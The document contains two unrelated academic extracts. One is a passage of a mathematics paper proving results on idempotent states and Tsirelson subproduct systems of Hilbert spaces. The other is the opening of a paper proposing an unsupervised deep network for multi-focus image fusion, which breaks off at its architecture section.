We deduce immediately from (\ref{Nov10c}) that $(\varphi\comp \Delta_I^\times)\otimes (\varphi\comp \Delta_J^\times)=\varphi\comp \Delta_{I\cup J}^\times$ for all partitions $I\in \mathscr {P}_{r,s}$ and $J\in \mathscr {P}_{s,t}$, where $0<r<s<t$. By taking $I$ and $J$ to be trivial paritions, $I=\{r,s\}$, respectively $J=\{s,t\}$, and using the fact that $\Delta_{r,s,t}=\Delta _{\{r,t\},\{r,s,t\}}^\times$, we obtain that $\left(\varphi_{r,s}\otimes\varphi_{s,t} \right)\comp \Delta_{r,s,t}=
\varphi\comp\Delta^\times_{\{r,s,t\}}\Delta _{\{r,t\},\{r,s,t\}}^\times=\varphi_{r,t}
$, as needed. \end{proof}
\begin{theorem}\label{DK1} If $\{\varphi_{s,t}\}_{0<s<t}$ is a co-multiplicative family of states of a unital $C^*$-subproduct system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$, then there exists a unique idempotent state $\varphi$ of the quasi-local $C^*$-bialgebra $(C^*(\mathscr {A}), \Delta)$ such that $\{\varphi_{s,t}\}_{0<s<t}$ are the marginal states of $\varphi$, in the sense of the proposition above.
\end{theorem}
\begin{proof} The idempotent state $\varphi$ will be constructed as the inductive limit of the family of product states $\{\varphi_I\}_{I\in\mathscr {P}}$, defined as in the proof of Proposition \ref{DK}
For this purpose, it is enough to show that \begin{eqnarray}\label{june15}\varphi_J\comp\Delta_{I,J}^\times=\varphi_I, \end{eqnarray}
for all $I,\,J\in\mathscr {P}$, $I\subseteq J$. To check this compatibility condition, we note that if $I,\,J\in\mathscr {P}_{s,t}$, for some $0<s<t$, then (\ref{june15}) is exactly (\ref{june14}). Moreover, if $I$ and $J$ are arbitrary finite partitions, then by decomposing $J$ with respect to $I$ as $J=\underline{I}\cup I^{\times}\cup \overline{I}$, we obtain that $$\varphi_J\comp \Delta_{I,J}^\times(x)=(\varphi_{\underline{I}}\otimes \varphi_{I^{\times}}\otimes \varphi_{\overline{I}})({1}_{\underline{I}}\otimes \Delta_{I,I^{\times}}(x)\otimes {1}_{\overline{I}})=\varphi_{I^{\times}}\comp\Delta_{I,I^{\times}}(x)=\varphi_I(x),$$ for all $x\in\mathcal {A}_I$.
Let $\varphi=\limind_{I\in\mathscr {P}}\varphi_I$ be the inductive limit of the inductive family of states $\{\varphi_I\}_{I\in\mathscr {P}}$. Therefore $\varphi$ the unique state of the $C^*$-algebra $C^*(\mathscr {A})$ that satisfies the compatibility condition $\varphi\comp \Delta^\times_I=\varphi_I$,
for every partition $I\in \mathscr {P}$. In particular, $\varphi$ satisfies (\ref{margina}).
Moreover, using (\ref{Nov10c}), we obtain that $$(\varphi\otimes \varphi)\comp\Delta\Delta_{I\cup J}^\times=(\varphi\comp \Delta_I^\times)\otimes (\varphi\comp \Delta_J^\times)=\varphi_{I\cup J}=\varphi\comp \Delta_{I\cup J}^\times,$$ for all $I,\,J\in \mathscr {P}$. Consequently, because $\bigcup _{I\in \mathcal {P}}\Delta^\times_{I}(\mathcal {A}_{I})$ is dense in $C^*(\mathscr {A})$, we can conclude that $\varphi$ is an idempotent state.
For the uniqueness part, suppose that $\varphi'$ is another idempotent state of $C^*(\mathscr {A})$ that satisfies (\ref{margina}). To show that $\varphi'$ and $\varphi$ are the same, it is sufficient to show that $\varphi'$ satisfies the compatibility condition $\varphi'\comp \Delta^\times_I=\varphi_I$,
for every partition $I\in \mathscr {P}$. This condition can be immediately checked with the help of (\ref{Nov10c}), as $\varphi'\comp \Delta^\times_I=(\varphi'\otimes \varphi')\comp\Delta\Delta_{\{r,s\}\cup \{s,t\}}^\times=(\varphi'\comp \Delta_{r,s}^\times)\otimes (\varphi'\comp \Delta_{ s,t}^\times)=\varphi_I$. The theorem is proved.
\end{proof}
\begin{example}Let $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ and $\{\mu_{s,t}\}_{0<s<t}$ be as in Example \ref{jun17}. Then for any two partitions $I,\,J\in \mathscr {P}$, $I\subseteq J$, we have $$\mu_I=(\chi_{I,J}^\times)_*\mu_J,$$ where $\chi_{I,J}^\times$ is as in (\ref{vineriseara}). Therefore the system $
\{(X_I, \operatorname {Bor}(X_I), \mu_I)\}_{I\in \mathscr {P}}
$ is a projective system of probability spaces over the partially ordered set $(\mathscr {P}, \subseteq)$, with connecting mappings $\chi_{I, J}^\times$. Arguing as in Example \ref{jun17}, one can construct a Borel probability measure $\mu$ on $X$ that is uniquely determined by the condition $(\chi_I^\times)_*\mu=\mu_I$, for every $I\in\mathscr {P}$. Moreover, $\mu$ is an idempotent measure in relation to the function $\chi$ defined in (\ref{haiacasa}), in the sense that $\mu=\chi_*(\mu\times \mu)$. This can be shown in two steps, following the strategy used in Section \ref{sec5+.1}. First of all, it is shown that the system $
\{ (X_{s,t}^\sharp, \operatorname {Bor}(X_{s,t}),\mu_{s,t}^\sharp )\}_{(s,t)\in I_{(0,\infty)}}$
is also a projective system of probability spaces over the partially ordered set $(I_{(0,\infty)},\subseteq)$ with connecting mappings $\chi^\sharp _{(s,t),(u,v)}$ (see Examples \ref{June08} and \ref{jun17} for notation). As a result, there is a Borel probability measure $\mu^\diamond$ on $X^\diamond$ that is uniquely determined by the condition $(\chi_{s,t}^\diamond)_*\mu^\diamond=\mu^\times _{s,t}$, for all $(s,t)\in I_{(0,\infty)}$. It then follows from
(\ref{carerra}) that $\mu=\psi_*\mu^\diamond$. On the other hand, one can show that $\rho_*(\mu\times\mu)=\mu^\diamond$, which leads to the desired conclusion.
The state $\varphi$ of $C(X)$ given by the measure $\mu$ is therefore an idempotent state, and corresponds to the idempotent state of Theorem \ref{DK1} constructed from the co-multiplicative family of states $\{\varphi_{s,t}\}_{0<s<t}$ associated with $\{\mu_{s,t}\}_{0<s<t}$.
\end{example}
Any co-multiplicative family of states gives rise to a Tsirelson subproduct system of Hilbert spaces, as shown below.
\begin{proposition} \label{harici}Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system. Suppose that $\{\varphi_{s,t}\}_{0<s<t}$ is a co-multiplicative family of states of $\mathscr {A}$, and let $(\pi_{s,t}, H_{s,t})$ be the GNS representation of $\mathcal {A}_{s,t}$ associated with $\varphi_{s,t}$, for every $0<s<t$. Then the family $\{H_{s,t}\}_{0<s<t}$ can be assembled into a Tsirelson subproduct system of Hilbert spaces.
\end{proposition}
\begin{proof} For any two real numbers $0<s<t$, consider the left kernel of $\varphi_{s,t}$, $$\mathcal {N}_{\varphi_{s,t}}=\{x\in \mathcal {A}_{s,t}\,|\,\varphi_{s,t}(x^*x)=0\},$$ and let $\eta_{\varphi_{s,t}}(x)$ be the coset $x+\mathcal {N}_{\varphi_{s,t}}$ of a representative $x\in \mathcal {A}_{s,t}$ in the quotient space $\mathcal {A}_{s,t}/\mathcal {N}_{\varphi_{s,t}}$. Then the Hilbert space $H_{s,t}$ in the GNS construction associated with the state $\varphi_{s,t}$
is the completion of $\mathcal {A}_{s,t}/\mathcal {N}_{\varphi_{s,t}}$ with respect to the inner product $\ip{\eta_{\varphi_{s,t}}(x)}{\eta_{\varphi_{s,t}}(y)}=\varphi_{s,t}(y^*x)$, for all $x,\,y\in \mathcal {A}_{s,t}$.
Using the co-multiplicativity of the family $\{\varphi_{s,t}\}_{0<s<t}$, we deduce that $\Delta_{r,s,t}(\mathcal {N}_{\varphi_{r,t}})\subset\mathcal {N}_{\varphi_{r,s}\otimes \varphi_{s,t}},$ for all $0<r<s<t$. Consequently, by identifying the Hilbert space $H_{r,s}\otimes H_{s,t}$ with the Hilbert space in the GNS construction associated with the product state $\varphi_{\{r,s,t\}}=\varphi_{r,s}\otimes \varphi_{s,t}$ via the unitary operator $$\eta_{\varphi_{r,s}}(x)\otimes \eta_{\varphi_{s,t}}(y)\mapsto \eta_{\varphi_{\{r,s,t\}}}(x\otimes y),\;\;x\in \mathcal {A}_{r,s},\;y\in \mathcal {A}_{s,t},$$ one can consider the operator $V_{r,s,t}:H_{r,t}\to H_{r,s}\otimes H_{t,s}$ that acts as \begin{eqnarray}\label{noparty}V_{r,s,t}(\eta_{\varphi_{r,t}}(x))=\eta_{\varphi_{\{r,s,t\}}}\left(\Delta_{r,s,t}(x) \right),\end{eqnarray} for all $x\in \mathcal {A}_{r,t}$. We notice that $V_{r,s,t}$ is an isometry. Indeed, for any $x,\,y\in \mathcal {A}_{r,t}$, we have
\begin{eqnarray*}
\ip{V_{r,s,t}(\eta_{\varphi_{r,t}}(x))}{V_{r,s,t}(\eta_{\varphi_{r,t}}(y))}&=&\ip{\eta_{\varphi_{\{r,s,t\}}}\left(\Delta_{r,s,t}(x)\right)}{\eta_{\varphi_{\{r,s,t\}}}\left(\Delta_{r,s,t}(y)\right)}\\&=&\varphi_{\{r,s,t\}}\left(\Delta_{r,s,t}(y)^*\Delta_{r,s,t}(x) \right)=\varphi_{r,t}(y^*x)\\&=&\ip{\eta_{\varphi_{r,t}}(x)}{\eta_{\varphi_{r,t}}(y)}.\end{eqnarray*}
It is also clear that the family $\{V_{r,s,t}\}_{0<r<s<t}$ satisfies the co-associativity law (\ref{Jan24cc}). Therefore
\begin{eqnarray}\label{alohaa}\mathscr {H}_{\{\varphi_{s,t}\}}=\left(\{H_{s,t}\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right)\end{eqnarray} is a Tsirelson subproduct system of Hilbert spaces.
\end{proof}
\begin{definition}The system (\ref{alohaa}) will be called the Tsirelson subproduct system of Hilbert spaces associated with the co-multiplicative family of states $\{\varphi_{s,t}\}_{0<s<t}$.
\end{definition}
\begin{observation}
(a) If $\xi_{s,t}$ is the cyclic vector in the GNS construction associated with the state $\varphi_{s,t}$, for all $0<s<t$, then $V_{r,s,t}\xi_{r,t}=\xi_{r,s}\otimes \xi_{s,t}$, for all $0<r<s<t$. Therefore the system of vectors $\{\xi_{s,t}\}_{0<s<t}$ is a ``unit" of the subproduct system $\mathscr {H}_{\{\varphi_{s,t}\}}$, in the general sense used by Arveson for one-parameter product systems, making the system $\mathscr {H}_{\{\varphi_{s,t}\}}$ into a "spatial" system, according to the Arveson-Powers classification scheme of $E_0$-semigroups \cite{Arveson-book}.
(b) If $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is a $C^*$-product system, then the operators $V_{r,s,t}$ defined by (\ref{noparty}) are unitaries. The system $\mathscr {H}_{\{\varphi_{s,t}\}}$ is therefore a Tsirelson product system of Hilbert spaces.
(c) If $\{\varphi_{s,t}\}_{0<s<t}$ and $\{\psi_{s,t}\}_{0<s<t}$ are equivalent co-multiplicative families of states, as defined in Observation \ref{May16}, then the associated Tsirelson subproduct systems $\mathscr {H}_{\{\varphi_{s,t}\}}$ and $\mathscr {H}_{\{\psi_{s,t}\}}$ are isomorphic.
\end{observation}
The Tsirelson subproduct system of Hilbert spaces associated with a co-multiplicative family of states of a $C^*$-subproduct system of commutative $C^*$-algebras can be easily identified, as shown below.
\begin{example}
Let $\mathscr {A}_{\operatorname {com}}=\left(\{C_0(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be the $C^*$-subproduct system constructed from a two-parameter multiplicative system of locally compact Hausdorff spaces $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$, where the functions $\chi_{r,s,t}$ are assumed to be surjective. If $\{\varphi_{s,t}\}_{0<s<t}$ is a co-multiplicative family of states of $\mathscr {A}_{\operatorname {com}}$, and $\{\mu_{s,t}\}_{0<s<t}$ is the associated family of Borel probability measures $\mu_{s,t}$ on $X_{s,t}$, then $$\mathscr {H}_{\{\varphi_{s,t}\}}=\left(\{L^2(X_{s,t}, \mu_{s,t})\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right),$$ where
$V_{r,s,t}f= f\comp\chi_{r,s,t},$
for all $f\in C_0(X_{r,t})$ and $0<r<s<t$.
\end{example}
\begin{remark}\label{monster} Analogous to the Bhat dilation of an Arveson subproduct system of Hilbert spaces \cite{Bhat-M, Bhat}, any Tsirelson subproduct system of Hilbert spaces $\mathscr {H}=\left(\{H_{s,t}\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right)$ can be dilated to a Tsirelson product system of Hilbert spaces $\mathscr {H}^\sharp=\left(\{H_{s,t}^\sharp\}_{0<s<t}, \{V_{r,s,t}^\sharp\}_{0<r<s<t}\right)$. The procedure for constructing $\mathscr {H}^\sharp$ is similar to that used in Section \ref{ch3.1} to construct the inductive dilation of a $C^*$-subproduct system.
We briefly describe the most important details of this construction here, leaving their completion to the discretion of the reader.
Let $\mathscr {H}=\left(\{H_{s,t}\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right)$ be a Tsirelson subproduct system of Hilbert spaces. For any two positive real numbers $0<s < t$ and any partition $I\in \mathscr {P}_{s,t} $, $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\},$ consider the Hilbert space \begin{eqnarray}\label{Jan25}H_I=
H_{\iota_0, \iota_1}\otimes H_{\iota_1,\iota_2}\otimes \dots\otimes H_{\iota_m,\iota_{m+1}}.\end{eqnarray} and the isometric operator $V_{\{s,t\},I}:H_{s,t}\to H_I$, which is defined analogous to the *-monomorphism $\Delta_{\{s,t\},I}$ of Definition \ref{Jan21}, i.e.,
\begin{eqnarray}V_{\{s,t\},I}=\left\{\begin{array}{llll}V_{\iota_0,\iota_1,\iota_2}, &\;m=1\\\left(V_{\{\iota_0,\iota_m\},I\setminus\{\iota_{m+1}\}}\otimes 1_{\iota_m,\iota_{m+1}}\right)V_{\iota_0,\iota_m,\iota_{m+1}},
&\; m\geq 2
\end{array}\right.\end{eqnarray} where $1_{\iota_m,\iota_{m+1}}$
is the identity operator on $H_{\iota_m,\iota_{m+1}}$. Moreover, if $J\in \mathscr {P}_{s,t}$ is an arbitrary refinement of $I$, decomposed as $J=I_0\cup \ldots \cup I_m$, we also consider the isometry $V_{I, J}:H_I\to H_J$, \begin{eqnarray}\label{Jan25i}V_{I,J}=V_{\{\iota_0,\iota_1\}, I_0}\otimes V_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots V_{\{\iota_m,\iota_{m+1}\}, I_m}.\end{eqnarray}
As in Proposition \ref{lemma inductive limit-c}, the system $\Bigl\{(H_I,V_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J \Bigr\}
$ is an inductive system of Hilbert spaces, for all $0<s<t$, and let $$H_{s,t}^\sharp=\limind\, \Bigl\{(H_I, V_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J\Bigr\}$$ be its inductive limit with associated connecting isometries $V_I^\sharp :H_I\to H^\sharp_{s,t}$, $I\in \mathscr {P}_{s,t}$. Similar to Theorem \ref{star-isomorphism theorem}, there exists a unitary operator $V_{r,s,t}^\sharp:H_{r,t}^\sharp\rightarrow H_{r,s}^\sharp\otimes H_{s,t}^\sharp$, uniquely determined by the condition \begin{eqnarray}\label{holab}V_{r,s,t}^\sharp V_{I\cup J}^\sharp=V_I^\sharp\otimes V_J^\sharp,\end{eqnarray}
for all $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$. The resulting family $\{V_{r,s,t}^\sharp\}_{0<r<s<t}$ satisfies the co-associativity law (\ref{Jan24cc}), thus making the system
$$\mathscr {H}^\sharp=\left(\{H_{s,t}^\sharp\}_{0<s<t},\,\{V_{r,s,t}^\sharp\}_{0<r<s<t}\right)$$ a Tsirelson product system of Hilbert spaces. This system will be called the Bhat dilation of the Tsirelson subproduct system $\mathscr {H}$.
\end{remark}
\begin{theorem} \label{harici1}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system and $\{\varphi_{s,t}\}_{0<s<t}$ be a co-multiplicative family of states of $\mathscr {A}$. Let $\mathscr {H}_{\{\varphi_{s,t}\}}=\left(\{H_{s,t}\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right)$ be the Tsirelson subproduct system of Hilbert spaces associated with $\{\varphi_{s,t}\}_{0<s<t}$ and $\mathscr {H}_{\{\varphi_{s,t}\}}^\sharp$ be its Bhat dilation. If $\mathscr {H}_{\{\varphi_{s,t}^\sharp\}}=\left(\{H_{s,t}'\}_{0<s<t}, \{V_{r,s,t}'\}_{0<r<s<t}\right)$ is the Tsirelson product system of Hilbert spaces associated with the inductive dilation $\{\varphi_{s,t}^\sharp\}_{0<s<t}$ of $\{\varphi_{s,t}\}_{0<s<t}$, then $\mathscr {H}_{\{\varphi_{s,t}^\sharp\}}$ and $\mathscr {H}_{\{\varphi_{s,t}\}}^\sharp$ are isomorphic Tsirelson product systems of Hilbert spaces.
\end{theorem}
\begin{proof}
Let $0<s<t$ be two fixed real numbers. For any partition $I\in\mathscr {P}_{s,t}$ of the form $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\},$ we identify, as in the proof of Proposition \ref{harici}, the Hilbert space $H_I$, defined in (\ref{Jan25}), with the Hilbert space
in the GNS construction of the product state $\varphi_I=\varphi_{\iota_0,\iota_1}\otimes \varphi_{\iota_1,\iota_2}\otimes \cdots \otimes \varphi_{\iota_m,\iota_{m+1}}$ of the $C^*$-algebra $\mathcal {A}_I$. Keeping the notation used in the proof of Proposition \ref{harici}, we deduce from (\ref{hass}) that $\Delta_I^\sharp\left(\mathcal {N}_{\varphi_I}\right)\subseteq \mathcal {N}_{\varphi_{s,t}^\sharp}$. Consequently, one can define the operator $V_I:H_I\to H'_{s,t}$ by $$
V_I(\eta _{\varphi_I}(x))=\eta_{\varphi_{s,t}^\sharp}\left(\Delta_I^\sharp(x)\right),$$ for every $x\in \mathcal {A}_I$. Using (\ref{hass}) and reasoning as in the proof of Proposition \ref{harici} again, we deduce that $V_I$ is an isometry. We also note that $V_JV_{I,J}=V_I$, for all $I,\, J\in \mathscr {P}_{s,t}$, $I\subseteq J$, where $V_{I,J}$ is the connecting isometric operator defined in (\ref{Jan25i}). It is enough to check this identity when $I=\{s,t\}$. If this is the case, then \begin{eqnarray*}
V_JV_{\{s,t\},J}(\eta_{\varphi_{s,t}}(x))&=&V_J(\eta_{\varphi_J}(\Delta_{\{s,t\}, J}(x)))=\eta_{\varphi_{s,t}^\sharp}(\Delta_J^\sharp\Delta_{\{s,t\}, J}(x))\\&=&\eta_{\varphi_{s,t}^\sharp}( \Delta^\sharp_{\{s,t\}}(x))=V_{\{s,t\}}(\eta_{\varphi_{s,t}}(x)),
\end{eqnarray*} for all $x\in\mathcal {A}_{s,t}$, as required.
Additionally, we notice that the set $\bigcup _{I\in \mathcal {P}_{s,t}}V_{I}(H_{I})$ is everywhere dense in $H'_{s,t}$ because the set $\bigcup _{I\in \mathcal {P}_{s,t}}\Delta^\sharp_{I}(\mathcal {A}_{I})$ is everywhere dense in $\mathcal {A}_{s,t}^\sharp$. Consequently, there exists a unique unitary operator $Z_{s,t}:H^\sharp_{s,t}\to H'_{s,t}$ such that $Z_{s,t}V_I^\sharp=V_I$, for all $I\in\mathscr {P}_{s,t}$.
We claim that the resulting family of unitary operators $\{Z_{s,t}\}_{0<s<t}$ is an isomorphism of Tsirelson product systems of Hilbert spaces, i.e., it satisfies $(Z_{r,s}\otimes Z_{s,t})V_{r,s,t}^\sharp=V'_{r,s,t}Z_{r,t}$ for all $0<r<s<t.$ Indeed, for any two partitions $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$, we have
\begin{eqnarray*}
(Z_{r,s}\otimes Z_{s,t})V_{r,s,t}^\sharp V_{I\cup J}^\sharp&\stackrel{(\ref{holab})}{=}&Z_{r,s} V_{I}^\sharp\otimes Z_{s,t} V_{ J}^\sharp =V_I\otimes V_J\stackrel{(\ref{compas})}{=}V'_{r,s,t}V_{I\cup J}\\&=&V'_{r,s,t}Z_{r,t}V_{I\cup J}^\sharp,
\end{eqnarray*}
and the conclusion follows. The theorem is proved.
\end{proof}
\begin{example}
Let $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ and $\{\mu_{s,t}\}_{0<s<t}$ be as in Example \ref{jun17}, and $\{\varphi_{s,t}\}_{0<s<t}$ be the co-multiplicative family of states of $\mathscr {A}_{\operatorname {com}}=\left(\{C(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ associated with $\{\mu_{s,t}\}_{0<s<t}$. Consider the family of Borel probability measures $\{\mu_{s,t}^\sharp\}_{0<s<t}$, constructed in Example \ref{jun17}, and the associated co-multiplicative family of states $\{\varphi_{s,t}^\sharp\}_{0<s<t}$ of the $C^*$-product system $\mathscr {A}_{\operatorname {com}}^\sharp=(\{C(X_{s,t}^\sharp)\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t})$. Then the Bhat dilation of the Tsirelson subproduct system of Hilbert spaces $\mathscr {H}_{\{\varphi_{s,t}\}}=\left(\{L^2(X_{s,t}, \mu_{s,t})\}_{0<s<t}, \{V_{r,s,t}\}_{0<r<s<t}\right)$ is isomorphic to the Tsirelson product system of Hilbert spaces $\mathscr {H}_{\{\varphi_{s,t}^\sharp\}}=(\{L^2(X_{s,t}^\sharp, \mu_{s,t}^\sharp)\}_{0<s<t}, \{V_{r,s,t}'\}_{0<r<s<t})$.
\end{example}
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|
1,477,468,750,044 | arxiv | \section{Introduction}\label{sec:introduction}}
\else
\section{Introduction}
\label{sec:introduction}
\fi
\IEEEPARstart{M}{ost} imaging systems, for instance digital single-lens reflex cameras, have a limited depth-of-field such that the scene content within a limited distance from the imaging plane remains in focus. Specifically, objects closer to or further away from the point of focus appear as blurred (out-of-focus) in the image. Multi-Focus Image Fusion (MFIF) aims at reconstructing a fully focused image from two or more partly focused images of the same scene. MFIF techniques have wide ranging applications in the fields of surveillance, medical imaging, computer vision, remote sensing and digital imaging \cite{li2008multifocus,saha2013,gangapure2015,phamila2014,kong2014}. Though interesting and seemingly trivial, multi-focus image fusion is a challenging task~\cite{li2008multifocus}.
The advent of Convolutional Neural Networks (CNNs) has seen a revolution in Computer Vision in tasks ranging from object recognition~\cite{simonyan2014very,he2016deep}, semantic segmentation~\cite{long2015fully,noh2015learning}, action recognition~\cite{simonyan2014two,wang2016temporal}, optical flow~\cite{dosovitskiy2015flownet,lai2017semi} to image super-resolution~\cite{dong2016image,ledig2016photo,Lai_2017_CVPR}. Recently, Prabhakar et al.~\cite{prabhakar2017deepfuse} used deep learning to fuse multi-exposure image pairs. This was followed by Liu et al.~\cite{liu2017multi} who proposed a Convolutional Neural Network (CNN) as part of their algorithm to fuse multi-focus image pairs. The algorithm learns a classifier to distinguish between ``focused'' and ``unfocused'' images and jointly calculates a fusion weight map. Later, Tang et al.~\cite{tang2017pixel} improved the algorithm by proposing a pixel-CNN (p-CNN) for classification of ``focused'' and ``defocused'' pixels in a pair of multi-focus images. It is well known that the performance of CNNs depends on the availability of large training data with labels~\cite{gilani2018}. Liu et al.~\cite{liu2017multi} and Tang et al.~\cite{tang2017pixel} addressed this problem by simulating blurred versions of benchmark datasets used for image recognition. Unfocused images were generated by adding Gaussian blur in randomly selected patches making their training dataset unrealistic. Furthermore, since their method is based on calculating weight fusion maps after learning a classifier, it does not provide an end-to-end solution. This necessitates some post-processing steps for improving the results. Finally, in most well known deep networks~\cite{taigman2014,schroff2015} the input image size is restricted to the training image size. For instance DeepFuse~\cite{prabhakar2017deepfuse} creates fusion maps during training and requires the input image size to match the fusion map dimensions. This problem is circumvented by sliding a window over the image and obtaining patches to match the fusion map size. These patches are then averaged to obtain the final weight fusion map of the same size as corresponding source images, thereby introducing redundancy and errors in the final reconstruction.
To address these issues, we present an end-to-end deep network trained on benchmark multi-focus images. The proposed network takes a pair of multi-focus images and outputs the all-focus image. We train our network in an unsupervised fashion precluding the need for a ground truth all focused image. However, this method of training requires a robust loss function. We approach this problem by proposing a multi-focus Structural Similarity (SSIM) quality metric as our loss function. To the best of our knowledge, this is the first end-to-end unsupervised deep network for predicting all-focus images from their respective multi-focus image pairs.
In a nutshell our contributions are as follows:
1) {\bf Training dataset.} Instead of using a simulated dataset, we use the benchmark multi-focus image dataset to train our network. Specifically, we use random crops from pairs of multi-focus images thereby generating a large corpus of training data for our network.
2) {\bf An end-to-end network.} Our proposed network has an end-to-end unsupervised architecture which does not need a reference ground truth image, thus, addressing the issue of lack of ground-truth for training. Furthermore, our architecture differs from existing methods~\cite{liu2017multi} which use deep networks for classification only as part of MFIF.\par
3) {\bf Loss function.} We propose a novel loss function tailored for multi-focus image fusion to train our network. \par
4) {\bf Test images.} Our network can feed test images of any size and directly output the fused images leading to a more practical value.
5) {\bf Making the network public.} The trained network will be publicly released to encourage replication and verification of our proposed method.
\section{Related work}
Literature is rich in research on image fusion including multi-focus image fusion. Most of the research work can be classified into transform domain based algorithms and spatial domain based algorithm~\cite{li2017pixel}. The spatial domain based algorithms have become popular owing to the advent of CNNs. However, the spatial domain based algorithms compute the weights for each image either locally or pixel wise. The fused image would then be a weighted sum of the images in the input pair. Here, we present a brief overview of the conventional and CNN based image fusion techniques:\par
\noindent {\bf Transform domain based multi-focus image fusion.} Image fusion has been extensively studied in the past few years. Earlier methods are mostly based on transform domain, owing to their intuitive approach towards this problem. This research mainly focuses on pyramid decomposition~\cite{mitianoudis2007pixel,petrovic2004gradient}, wavelet transform~\cite{hill2002image,lewis2007pixel} and multi-scale geometric analysis~\cite{li2008multifocus,zhang2009multifocus}. Multi-focus image fusion methods mainly include the gradient pyramid (GP)~\cite{petrovic2004gradient}, discrete wavelet transform (DWT)~\cite{pajares2004wavelet}, non-subsampled contourlet transform (NSCT)~\cite{zhang2009multifocus}, shearlet transform (ST)~\cite{miao2011novel},
curvelet transform (CVT)~\cite{guo2012multifocus} among others. Transform domain based multi-focus image fusion method first decomposes the source images into a specific multi-scale domain, then integrates all these corresponding decomposed coefficients to generate a series of comprehensive coefficients. Finally it reconstructs them by performing the corresponding inverse multi-scale transform. For this kind of method, the selection of multi-scale transform approach is significant, at the same time, the fusion rules for high-frequency and low-frequency coefficients also cannot be ignored, since they directly affect the fusion results. In the recent past, Independent Component Analysis (ICA), Principal Component Analysis (PCA), higher-order singular-value decomposition (HOSVD) and sparse representation based methods have also been introduced int he field of multi-focus image fusion. The core idea of these fusion methods is to seek a desirable feature space that can efficiently reflect the activity of image patches. The focus measurement plays a crucial role in these methods.
\noindent{\bf Spatial domain based multi-focus image fusion.} Spatial domain based image fusion algorithms have received significant attention resulting in the development of several image fusion algorithms that operate directly on the source images without converting them into alternative representation. These algorithms apply a fusion rule to the source images to generate an all-in-focus image. Generally, these algorithms can be divided into two groups; pixel based and block (or region) based algorithms~\cite{li2017pixel}. Between the two of them, block or region based multi-focus image fusion methods have been widely adopted, however, they usually select more focused blocks or regions as fused parts. In this way, the focus measure plays a vital role in these fusion methods. Furthermore, this method suffers from the blocking effects in the final fused image. In recent years,the pixel based multi-focus fusion methods have drawn increasing attention form the research community, owing to its capability of extracting details from the source images and preserving the spatial consistency of the fused image~\cite{liu2015multi}. The representative methods include image matting based method~\cite{li2013image}, guided filtering based method~\cite{li-kang2013image} and dense scale-invariant feature transform based methods~\cite{liu2015multi}. These methods have achieved competing results with high computational efficiency.
\noindent{\bf Deep learning for multi-focus image fusion.} More recently, researchers have turned to learning a focus measure without hand crafting using deep CNNs. Generally, neural network based methods divide the source images into patches and feed them into the CNN model along with the focus measure learned for each patch. This method is more robust compared to its conventional counterpart and is without any artifacts since the CNN model is data-driven. Lately, Liu et al.~\cite{liu2017multi} proposed a deep network as a subset of their multi-focus image fusion algorithm. They sourced their training data from popular image classification databases and simply added Gaussian blur to random patches in the image to simulate multi-focus images. The authors used their CNN to classify focused and unfocused pixels and generated an initial focus map from this information. The final all-focus image was generated after post-processing this initial focus map. This step increases the computational cost and makes this method more suitable for parallel GPU processing. Following Liu et al.~\cite{liu2017multi}, Tang et.al~\cite{tang2017pixel} proposed a p-CNN for multi-focus image fusion. The authors leverage the Cifar-10~\cite{Anu:2013} to generate training image sets for their p-CNN. Specifically, the defocused images are acquired by automatically adding blur to the original images. The output of the model are three probabilities: defocused, focused or unknown for each pixel, which are used to determine the fusion weight map. This step also needs post processing, which is important to obtain a desired fusion weight map.\par
We propose a deep end-to-end neural network model that does not require post processing. Our model is trained on real multi-focus image pairs and utilizes a no-reference quality metric, multi-focus fusion structural similarity (SSIM), as a loss function to achieve end-to-end unsupervised learning. Our model has three components: feature extraction, fusion and reconstruction and is described in detail in the succeeding paras.\par
\begin{figure*}
\begin{center}
\includegraphics[width=0.95\linewidth]{TIP_figure2_1.jpg}
\end{center}
\caption{ {\bf Detailed network architecture of the proposed multi-focus image fusion network}. Our model consists of three feature extraction networks for extracting non-linear features, a feature reconstruction layer for predicting the fused image, a convolutional layer for feature maps and fused features, and a transposed convolutional layer for obtaining the same dimensionality as the input image. }
\label{fig:2}
\end{figure*}
\section{Deep Unsupervised Network For MFIF}
Our main goal is to generate a fused image that is all-in-focus. Given an input multi-focus image pair, our model produces an image that is likely to contain all the pixels in focus. Our method excludes the redundant information contained in the input image pair. In this section, we describe the design of our proposed deep unsupervised Multi-Focus image Fusion Network (\textit{MFNet}).\par
\subsection{Network Architecture}
